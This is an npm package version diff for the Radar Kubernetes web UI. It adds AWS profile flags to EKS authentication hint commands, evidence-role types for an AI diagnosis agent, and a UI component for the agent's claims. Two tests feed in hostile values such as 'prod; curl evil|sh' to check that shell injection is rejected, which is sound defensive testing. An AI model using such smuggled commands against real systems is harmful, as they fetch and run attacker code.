@skyhook-io/radar-app 1.13.4 → 1.13.5

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@skyhook-io/radar-app",
-  "version": "1.13.4",
+  "version": "1.13.5",
   "description": "Radar's full web UI as a reusable React component. Used by Radar's own binary and by external consumers like Radar Cloud.",
   "repository": {
     "type": "git",

package/src/RadarApp.tsx

@@ -42,6 +42,7 @@ import type { TimelineSourceConfig } from "./api/timelineSource";
 import { DiagnoseCustomizationProvider } from "./context/DiagnoseCustomization";
 import type {
   RenderDiagnoseAction,
+  RenderInvestigationRunActions,
   DiagnoseConsentCopy,
 } from "./context/DiagnoseCustomization";
 import { defaultDiagnoseAction } from "./components/diagnose/LocalDiagnoseAction";
@@ -113,6 +114,8 @@ export interface RadarAppProps {
    * agent-free. See ./context/DiagnoseCustomization for the render-prop shape.
    */
   renderDiagnoseAction?: RenderDiagnoseAction;
+  /** Host-owned controls for the focused investigation; absent in standalone Radar. */
+  renderInvestigationRunActions?: RenderInvestigationRunActions;
   /**
    * Replaces the first-run consent card's trust copy. REQUIRED of any host whose
    * backend runs the agent somewhere other than the user's own machine — the
@@ -202,6 +205,7 @@ export function RadarApp({
   manageDocumentTitle = false,
   documentTitleSuffix,
   renderDiagnoseAction,
+  renderInvestigationRunActions,
   diagnoseConsent,
   initialPath,
   onClusterLoadStateChange,
@@ -234,6 +238,7 @@ export function RadarApp({
                 <DiagnoseCustomizationProvider
                   value={renderDiagnoseAction ?? defaultDiagnoseAction}
                   consentCopy={diagnoseConsent}
+                  renderRunActions={renderInvestigationRunActions}
                 >
                   <DiagnoseProvider
                     browserURLState={router !== "memory"}

package/src/api/client.ts

@@ -3105,6 +3105,10 @@ export interface PrometheusResourceMetrics {
   result: PrometheusQueryResult;
   query?: string; // PromQL query (included when result is empty, for diagnostics)
   hint?: string; // Contextual hint when results are empty (e.g. cri-docker label issues)
+  // Workload kinds only: the pods the chart covers, established by
+  // controller ownership. podsTotal is the full set when the cap cut the list.
+  pods?: number;
+  podsTotal?: number;
 }
 
 export type PrometheusMetricCategory =

package/src/api/diagnose.ts

@@ -52,11 +52,60 @@ export interface RootCauseEvidence {
   refs?: string[];
 }
 
+/**
+ * How the agent frames one cited Radar result. Roles order cards; they never
+ * hide one.
+ *
+ * One half of a Go↔TS contract: `evidenceRoles` in internal/ai/parse.go and
+ * EVIDENCE_ROLES in components/diagnose/investigationCase.ts must list exactly
+ * these roles. Change all three together.
+ */
+export type DiagnosisEvidenceRole =
+  "cause" | "symptom" | "context" | "benign" | "demoted" | "rules_out";
+
+/**
+ * Which observation inside one tool result a claim is about. Agent text
+ * copied verbatim by the server; the UI resolves it against captured evidence
+ * and places the claim only on an exact, unique match.
+ */
+export interface DiagnosisEvidenceSubject {
+  group?: string;
+  kind: string;
+  namespace?: string;
+  name: string;
+  container?: string;
+  stream?: "current" | "previous";
+  /** Evidence kind (resource, logs, events, changes, metrics, …). */
+  observation?: string;
+}
+
+/** One server-bound item of the agent's case. Unlinked items are never rendered. */
+export interface DiagnosisEvidenceItem {
+  status: "linked" | "unlinked";
+  ref?: string;
+  role?: DiagnosisEvidenceRole;
+  claim?: string;
+  subject?: DiagnosisEvidenceSubject;
+}
+
+export interface DiagnosisRuledOut {
+  hypothesis: string;
+  /** Index into Diagnosis.evidence of the item whose result contradicted it. */
+  evidenceIndex: number;
+}
+
 export interface Diagnosis {
   healthy?: boolean;
   inconclusive?: boolean; // investigated but couldn't determine — distinct from healthy
   rootCause: string;
   rootCauseEvidence?: RootCauseEvidence;
+  /** The agent's case over Radar's evidence; absent from hosted backends and older runs. */
+  evidence?: DiagnosisEvidenceItem[];
+  /** How many of the agent's evidence entries never reached the UI, including ones cut before they got a slot in `evidence`. */
+  unlinkedEvidence?: number;
+  /** The agent's evidence field was not a list, so none of it could be read. */
+  evidenceMalformed?: boolean;
+  ruledOut?: DiagnosisRuledOut[];
   report: string;
   remediation: string[];
   recommendedIndex?: number; // 1-based index into remediation of the step Apply performs
@@ -87,6 +136,13 @@ export interface ResourceHealthSignal {
 
 export type ApplyMutationOutcome = "confirmed" | "failed" | "unknown";
 
+// One MCP server's connection state as the agent CLI reported it at startup.
+// Only "connected" means its tools are usable.
+export interface MCPServerStatus {
+  name: string;
+  status: string;
+}
+
 export interface DiagnoseStreamEvent {
   type:
     | "turn"
@@ -98,7 +154,11 @@ export interface DiagnoseStreamEvent {
     | "closed"
     | "history_unavailable"
     | "replay_complete";
-  phase?: string;
+  phase?: string; // "investigating" | "connected" | "ready"
+  // Startup facts the agent CLI reported on the "ready" phase.
+  model?: string;
+  toolCount?: number; // Radar tools the agent registered
+  mcpServers?: MCPServerStatus[];
   step?: DiagnoseStep;
   token?: string;
   diagnosis?: Diagnosis;
@@ -255,20 +315,6 @@ export async function getRun(
   return res.json();
 }
 
-export async function updateRunVisibility(
-  id: string,
-  visibility: "private" | "organization",
-): Promise<RunSummary> {
-  const res = await fetch(`${RUNS()}/${encodeURIComponent(id)}`, {
-    method: "PATCH",
-    credentials: getCredentialsMode(),
-    headers: { "Content-Type": "application/json", ...getAuthHeaders() },
-    body: JSON.stringify({ visibility }),
-  });
-  if (!res.ok) throw new DiagnoseError(res.status, await errorText(res));
-  return res.json();
-}
-
 // recordConsent acknowledges the current disclosure for an execution profile, server-side.
 export async function recordConsent(surface: string): Promise<void> {
   const res = await fetch(`${getApiBase()}/diagnose/consent`, {

package/src/components/ConnectionErrorView.test.tsx

@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
     expect(hints.fallbackCommand?.command).toBe('aws sso login')
   })
 
+  it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const profile = 'myorg/prod/admin'
+
+    const rejected = getAuthRejectedHints(context, profile)
+    expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(rejected.authCommand?.command).toBe(
+      'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
+    )
+    expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
+
+    const auth = selectConnectionHints('auth', context, undefined, profile)
+    expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
+
+    const timeout = selectConnectionHints('timeout', context, undefined, profile)
+    expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
+  })
+
+  it('drops a hostile AWS profile instead of interpolating it', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
+
+    expect(hints.fallbackCommand?.command).toBe('aws sso login')
+    expect(hints.authCommand?.command).toBe(
+      'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
+    )
+  })
+
   it('does not offer interpolated commands for hostile GKE context values', () => {
     const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
 

package/src/components/ConnectionErrorView.tsx

@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
 import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
 import { useAuthMe, useContexts } from '../api/client'
 import { Tooltip } from './ui/Tooltip'
-import { allShellSafe } from '../utils/shell-safe'
+import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
 import { apiUrl } from '../api/config'
 import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
 
@@ -33,7 +33,7 @@ interface AuthHints {
   hideAuthButton?: boolean
 }
 
-function getAuthHints(context: string): AuthHints {
+function getAuthHints(context: string, awsProfile?: string): AuthHints {
   const parsed = parseContextName(context)
 
   switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
       return result
     }
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'EKS Authentication Failed',
         hints: [
           'Radar could not get AWS credentials for this context.',
           'For AWS SSO contexts, the SSO session may need login.',
         ],
-        authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
+        authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that doesn\'t work, refresh cluster credentials:',
-          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
+          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
         }
       }
       return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
   }
 }
 
-export function getAuthRejectedHints(context: string): AuthHints {
+export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
   const parsed = parseContextName(context)
 
   switch (parsed.provider) {
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'EKS Could Not Authenticate This Request',
         hints: [
           'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
           'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
           'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
-          'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
+          profileFlag
+            ? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
+            : 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
           'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
         ],
-        fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
+        fallbackCommand: {
+          label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
+          command: `aws sso login${profileFlag}`,
+        },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.authCommand = {
-          label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
-          command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
+          label: profileFlag
+            ? 'Inspect the caller and authentication mode for the pinned AWS profile:'
+            : 'Inspect the caller and authentication mode for the current terminal AWS profile:',
+          command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
         }
         // A diagnostic, not a re-auth — the "Authenticate in terminal" button
         // would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
   }
 }
 
-function getTimeoutHints(context: string): AuthHints | null {
+function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
   const parsed = parseContextName(context)
   const baseHints = [
     'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
       return result
     }
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'Connection Timed Out',
         hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
-        authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
+        authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that does not work, refresh cluster credentials:',
-          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
+          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
         }
       }
       return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
   )
 }
 
-export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
+export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
   const parsedContext = originalContext || context
   switch (errorType) {
     case 'auth':
-      return getAuthHints(parsedContext)
+      return getAuthHints(parsedContext, awsProfile)
     case 'auth-rejected':
-      return getAuthRejectedHints(parsedContext)
+      return getAuthRejectedHints(parsedContext, awsProfile)
     case 'auth-plugin-stuck':
       return getAuthPluginStuckHints()
     case 'timeout':
-      return getTimeoutHints(parsedContext)
+      return getTimeoutHints(parsedContext, awsProfile)
     default:
       return null
   }
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
   const isAuthRejected = connection.errorType === 'auth-rejected'
   const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
   const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
-  const { data: contexts } = useContexts()
-  const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
-  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
+  const { data: contexts, isLoading: contextsLoading } = useContexts()
+  const matchedContext = contexts?.find((context) => context.name === connection.context)
+  const originalContext = matchedContext?.originalName
+  const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
+  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
   const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
   const openLocalTerminal = useOpenLocalTerminal()
   const { data: authMe } = useAuthMe()

package/src/components/diagnose/AgentCase.tsx

@@ -0,0 +1,131 @@
+import { clsx } from "clsx";
+import { Sparkles } from "lucide-react";
+import { Badge } from "@skyhook-io/k8s-ui";
+
+import type { DiagnosisEvidenceRole } from "../../api/diagnose";
+import { Tooltip } from "../ui/Tooltip";
+
+export const AGENT_ROLE_LABELS: Readonly<
+  Record<DiagnosisEvidenceRole, string>
+> = {
+  cause: "Cause",
+  symptom: "Symptom",
+  context: "Context",
+  benign: "Not a problem",
+  demoted: "Less relevant",
+  rules_out: "Rules out",
+};
+
+/**
+ * The agent's framing of a Radar fact. Always the agent tone, never a
+ * severity tone: a chip must not read as a Radar finding.
+ */
+export function AgentRoleChip({ role }: { role: DiagnosisEvidenceRole }) {
+  return (
+    <Tooltip
+      content={`The agent labelled this evidence "${AGENT_ROLE_LABELS[role]}". Radar recorded the fact; the label is the agent's reading of it.`}
+      // The label has to share the sentence's baseline. Centring the badge box
+      // drops it ~1px (padding and border make the box taller than the line),
+      // and the badge's own baseline comes from the sparkle, landing 1px high.
+      wrapperClassName="shrink-0 align-[-1px]"
+    >
+      <Badge tone="agent" size="sm">
+        <Sparkles className="h-2.5 w-2.5 shrink-0" aria-hidden />
+        {AGENT_ROLE_LABELS[role]}
+      </Badge>
+    </Tooltip>
+  );
+}
+
+/**
+ * One sentence from the agent about a Radar fact. Everything the agent
+ * contributed to a card lives in this one row — the sparkle, the role, and the
+ * sentence — so the register is unmistakable: the fact above is Radar's, this
+ * line is the agent's reading of it. The role travelled with the card title
+ * once, where it sat in the same slot as Radar's own badges and could be read
+ * as Radar having established it.
+ *
+ * A `rules_out` note carries the hypothesis it excludes, as text beside the
+ * chip rather than inside it: "Rules out" alone forces the reader to find the
+ * hypothesis in a block further down and match it back, and a hypothesis long
+ * enough to be useful makes a badge that swallows the row.
+ */
+export function AgentClaimNote({
+  claim,
+  role,
+  excludes,
+  subject,
+  className,
+}: {
+  claim: string;
+  role?: DiagnosisEvidenceRole;
+  /**
+   * The hypothesis this item excludes. Rendered only for `rules_out`, where
+   * the chip frames it as rejected: a hypothesis is a claim the agent
+   * DISPROVED, so on any other card it would read as a statement of fact.
+   */
+  excludes?: string;
+  /** The observation the note was bound to, when it is not on that card. */
+  subject?: string;
+  className?: string;
+}) {
+  if (!claim && !role) return null;
+  return (
+    <p
+      data-agent-claim
+      className={clsx(
+        "flex min-w-0 items-start gap-2 border-t border-dashed border-theme-border/70 text-xs leading-relaxed text-theme-text-secondary",
+        className,
+      )}
+    >
+      <span className="min-w-0 flex-1 [overflow-wrap:anywhere]">
+        {/* The chip and its sparkle carry this visually; the word is what
+            survives when colour and iconography do not. "Agent" rather than
+            "Agent's note" because a role can arrive with no sentence. */}
+        <span className="sr-only">Agent: </span>
+        {role ? (
+          <>
+            <AgentRoleChip role={role} />{" "}
+          </>
+        ) : null}
+        {excludes && role === "rules_out" ? (
+          <>
+            <span className="italic text-theme-text-tertiary">{excludes}</span>
+            {" — "}
+          </>
+        ) : null}
+        {claim ? (
+          <>
+            {subject ? (
+              <span className="text-theme-text-tertiary">{subject} · </span>
+            ) : null}
+            {renderClaim(claim)}
+          </>
+        ) : null}
+      </span>
+    </p>
+  );
+}
+
+/**
+ * Claims are one sentence of prose in which the agent marks identifiers with
+ * backticks. Only that inline-code span is honoured: a full Markdown render
+ * would wrap the sentence in a block and break the shared baseline with the
+ * role chip and the lead-in.
+ */
+function renderClaim(claim: string) {
+  const parts = claim.split("`");
+  if (parts.length < 3) return claim;
+  return parts.map((part, i) =>
+    i % 2 === 1 && i < parts.length - 1 ? (
+      <code
+        key={i}
+        className="inline-code rounded border border-theme-border/60 bg-theme-base px-1 py-px font-mono text-[11px] font-normal text-theme-text-primary"
+      >
+        {part}
+      </code>
+    ) : (
+      part
+    ),
+  );
+}

package/src/components/diagnose/DiagnoseSurface.test.tsx

@@ -4,7 +4,6 @@ import {
   INVESTIGATION_HISTORY_MIN_WIDTH,
   MAXIMIZED_RUN_META_VISIBILITY_CLASS,
   canRerunInvestigation,
-  canCopyRunLink,
   investigationHistoryIsPersistent,
   investigationHeaderPresentation,
   openInvestigationEvidenceResource,
@@ -337,25 +336,6 @@ describe("canContinueInvestigation", () => {
   });
 });
 
-describe("canCopyRunLink", () => {
-  it("does not expose collaboration UI for an OSS run", () => {
-    expect(canCopyRunLink(run("done"))).toBe(false);
-  });
-
-  it("exposes the copy action only for a canonical hosted URL", () => {
-    expect(
-      canCopyRunLink({
-        ...run("done"),
-        radarUrl: "/c/cluster-1?org=org-1&ai-run=r1",
-      }),
-    ).toBe(true);
-  });
-
-  it("treats an empty hosted URL as unavailable", () => {
-    expect(canCopyRunLink({ ...run("done"), radarUrl: "" })).toBe(false);
-  });
-});
-
 describe("canInvestigateFurther", () => {
   it("offers a context-preserving next step on a completed automatic investigation", () => {
     expect(